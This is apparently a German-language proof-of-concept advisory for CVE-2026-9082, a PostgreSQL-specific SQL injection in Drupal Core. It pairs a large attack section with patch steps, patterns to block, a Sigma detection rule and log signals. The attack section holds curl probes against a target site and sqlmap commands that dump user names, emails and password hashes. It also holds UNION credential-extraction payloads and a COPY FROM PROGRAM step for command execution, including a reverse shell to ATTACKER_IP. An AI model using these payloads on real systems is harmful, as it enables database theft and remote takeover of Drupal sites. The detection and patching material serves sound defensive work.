
cve poc
Typ: SQL Injection (CWE-89) Betroffenes Produkt: Drupal Core (Database Abstraction API) Drupal-Sicherheitshinweis: SA-CORE-2026-004 Veröffentlicht: 20. Mai 2026 Schweregrad: Hochkritisch (Drupal 20/25 | NVD CVSS 6.5)
CVE-2026-9082 ist eine SQL-Injection-Schwachstelle in Drupals zentraler Datenbank-Abstraktions-API. Drupals DB-Schicht kapselt PDO und bereinigt alle Abfragen, bevor sie die Datenbank erreichen. Diese Schwachstelle umgeht diese Bereinigung nur für PostgreSQL-Backends – speziell präparierte HTTP-Anfragen schlüpfen an der Normalisierungslogik vorbei und injizieren angreiferkontrollierte SQL-Fragmente direkt in Datenbankabfragen.
MySQL und MariaDB sind vom Injektionsvektor nicht betroffen, obwohl das Sicherheitsupdate auch kritische Symfony/Twig-Korrekturen enthält, die für alle Backends gelten.
Voraussetzung: Das Zielsystem muss PostgreSQL als Datenbank-Backend verwenden.
Drupals DB-Abstraktionsschicht bereinigt Werte über parametrisierte Abfragen/Prepared Statements, verlässt sich jedoch darauf, dass der Query Builder vertrauenswürdiges strukturelles SQL liefert (Feldnamen, Operatoren, ORDER-BY-Ziele). Der Fehler liegt darin, wie der PostgreSQL-Treiber bestimmte Eingabemuster beim Erstellen von Abfragen verarbeitet – das SQL-Dialekt von PostgreSQL unterscheidet sich in wichtigen Punkten von MySQL:
||::COPY ... FROM PROGRAM-BefehlEine präparierte Anfrage führt Zeichen/Sequenzen ein, die die Wert-Ebene der Drupal-Bereinigung passieren, vom PostgreSQL-Parser jedoch als strukturelles SQL interpretiert werden. Die Angriffsfläche ist ohne Authentifizierung über jeden Endpunkt erreichbar, der benutzergesteuerte Parameter an DB-Abfragen weitergibt (Suche, Ansichtenfilter, Formularübermittlungen, JSON:API usw.).
Attacker (unauthenticated)
|
|--> HTTP request with crafted parameter
| (e.g. search field, filter, form input)
|
v
Drupal DB Abstraction API
|
|--> Sanitization bypass (PostgreSQL-specific)
|
v
PostgreSQL executes injected SQL
|
|--> Information disclosure (dump entire DB)
|--> Privilege escalation (inject admin credentials)
|--> RCE (PostgreSQL COPY TO PROGRAM, lo_export, etc.)
COPY TO PROGRAM 'cmd', wenn der DB-Benutzer Superuser-Rechte hatDrupals eigene Warnung: „Exploits könnten innerhalb von Stunden oder Tagen nach der Offenlegung entwickelt werden" (konsistent mit historischen Drupal-DB-Schicht-CVEs wie SA-CORE-2014-005 / Drupalgeddon).
# Endpoints that pass user input through DB abstraction layer
curl -s "https://target.drupal.site/search/node?keys=test"
curl -s "https://target.drupal.site/views/ajax"
curl -s "https://target.drupal.site/jsonapi/node/article"
# Time-based (pg_sleep is PostgreSQL-only)
curl -s "https://target.drupal.site/search/node?keys=test%27%3Bselect+pg_sleep(5)--"
# Cast-based probe (:: is PostgreSQL syntax)
curl -s "https://target.drupal.site/search/node?keys=1::integer"
# Boolean-based differentiation
curl -s "https://target.drupal.site/search/node?keys=test'AND+'1'='1"
curl -s "https://target.drupal.site/search/node?keys=test'AND+'1'='2"
sqlmap -u "https://target.drupal.site/search/node?keys=test" \
--dbms=PostgreSQL \
--level=5 --risk=3 \
--technique=BEUST \
--tamper=space2comment,between \
--dbs
# Dump credentials after confirming injection
sqlmap -u "https://target.drupal.site/search/node?keys=test" \
--dbms=PostgreSQL \
-D drupal -T users_field_data \
-C name,mail,pass --dump
-- Fingerprint column count
test' ORDER BY 1--
test' ORDER BY 2-- -- increment until error
-- Extract credentials (PostgreSQL syntax)
test' UNION SELECT null,username,password FROM users_field_data--
-- Check if DB user is superuser
test' UNION SELECT null,current_user,null--
test' UNION SELECT null,usesuper::text,null FROM pg_user WHERE usename=current_user--
CREATE TABLE cmd_out(output TEXT);
COPY cmd_out FROM PROGRAM 'id; uname -a';
SELECT * FROM cmd_out;
-- Reverse shell (replace ATTACKER_IP/PORT)
COPY cmd_out FROM PROGRAM 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"';
# Composer (recommended)
composer update drupal/core drupal/core-recommended
# Verify version
php core/scripts/drupal --version
# OR via Drush
drush updb && drush cr
-- Verify application DB user is NOT superuser
SELECT usename, usesuper FROM pg_user WHERE usename = 'drupal_app_user';
-- Should return usesuper = false
Zu blockierende Muster: pg_sleep, COPY.*PROGRAM, ::text, ::integer, UNION.*SELECT, %27--
Stellen Sie sicher, dass PostgreSQL nur an localhost oder eine private Schnittstelle gebunden ist und nicht aus dem Internet erreichbar ist.
title: Drupal CVE-2026-9082 SQL Injection Attempt
logsource:
category: webserver
detection:
selection:
cs-uri-query|contains:
- "pg_sleep"
- "UNION+SELECT"
- "::text"
- "::integer"
- "COPY+TO"
- "%27--"
filter:
cs-uri-stem|contains:
- "/search/"
- "/views/ajax"
- "/jsonapi/"
condition: selection and filter
level: high
tags: [attack.t1190, cve.2026.9082]
CVE-2026-9082 ist eine authentifizierungsfreie SQL-Injection im Drupal Core, die PostgreSQL-Backends angreift. Trotz eines moderaten NVD-CVSS-Werts von 6,5 stuft Drupal sie mit 20/25 (Hochkritisch) ein, da nicht authentifizierter Zugriff + PostgreSQL COPY TO PROGRAM in falsch konfigurierten Umgebungen direkt zu RCE führen. Die breite betroffene Versionsspanne und die gebündelten Twig-SSTI-Korrekturen machen dies zu einem kritischen, dringenden Patch für alle Drupal-Sites, insbesondere für solche mit PostgreSQL in internetzugänglichen Bereitstellungen.
Empfohlene Maßnahme: Aktualisieren Sie umgehend auf die gepatchte Version für Ihren Zweig. Vergewissern Sie sich, dass Ihr DB-Anwendungsbenutzer kein PostgreSQL-Superuser ist.
| Zweig | Verwundbar | Behoben |
|---|
| Drupal 10.4.x / 8.9.x | 8.9.0–10.4.9 | 10.4.10 |
| Drupal 10.5.x | 10.5.0–10.5.9 | 10.5.10 |
| Drupal 10.6.x | 10.6.0–10.6.8 | 10.6.9 |
| Drupal 11.0.x–11.1.x | 11.0.0–11.1.9 | 11.1.10 |
| Drupal 11.2.x | 11.2.0–11.2.11 | 11.2.12 |
| Drupal 11.3.x | 11.3.0–11.3.9 | 11.3.10 |
| Quelle | Signal |
|---|
| Webserver-Logs | pg_sleep, ::, UNION SELECT, --, COPY PROGRAM in Abfragezeichenfolgen |
| PostgreSQL-Logs | Syntaxfehler, die mit Zeitstempeln von Webanfragen korrelieren |
| Drupal-Watchdog | DB-Ausnahmen von Such-/Ansichts-/JSON:API-Endpunkten |
| auditd | postgres erzeugt untergeordnete Prozesse (COPY TO PROGRAM) |
| Drupal-Benutzertabelle | Neue administrator-Rolleneinträge mit aktuellen Zeitstempeln |